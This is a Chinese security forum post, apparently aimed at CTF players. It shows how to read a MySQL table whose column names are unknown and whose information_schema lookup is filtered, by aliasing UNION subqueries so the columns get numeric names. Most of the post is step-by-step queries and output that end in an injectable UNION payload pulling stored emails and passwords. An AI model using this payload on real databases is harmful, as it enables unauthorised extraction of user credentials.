搜索
查看: 2307|回复: 0

Mysql巧妙绕过未知字段名的技巧

[复制链接]

675

主题

984

帖子

2489

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2489

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-6-13 15:36:04 | 显示全部楼层 |阅读模式

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;
 mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2     | 3        | 4           |
+---+-------+----------+-------------+
| 1 | 2     | 3        | 4           |
| 1 | admin | admin888 | [zxsq-anti-bbcode-email]110@110.com[zxsq-anti-bbcode-/email] |
| 2 | test  | test123  | [zxsq-anti-bbcode-email]119@119.com[zxsq-anti-bbcode-/email] |
| 3 | cs    | cs123    | [zxsq-anti-bbcode-email]120@120.com[zxsq-anti-bbcode-/email] |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4           |
+-------------+
| 4           |
| [zxsq-anti-bbcode-email]110@110.com[zxsq-anti-bbcode-/email] |
| [zxsq-anti-bbcode-email]119@119.com[zxsq-anti-bbcode-/email] |
| [zxsq-anti-bbcode-email]120@120.com[zxsq-anti-bbcode-/email] |
+-------------+
4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+
| 4           |
+-------------+
| [zxsq-anti-bbcode-email]120@120.com[zxsq-anti-bbcode-/email] |
+-------------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id          | username | password | email       |
+-------------+----------+----------+-------------+
| 1           | admin    | admin888 | [zxsq-anti-bbcode-email]110@110.com[zxsq-anti-bbcode-/email] |
| [zxsq-anti-bbcode-email]120@120.com[zxsq-anti-bbcode-/email] | 1        | 1        | 1           |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表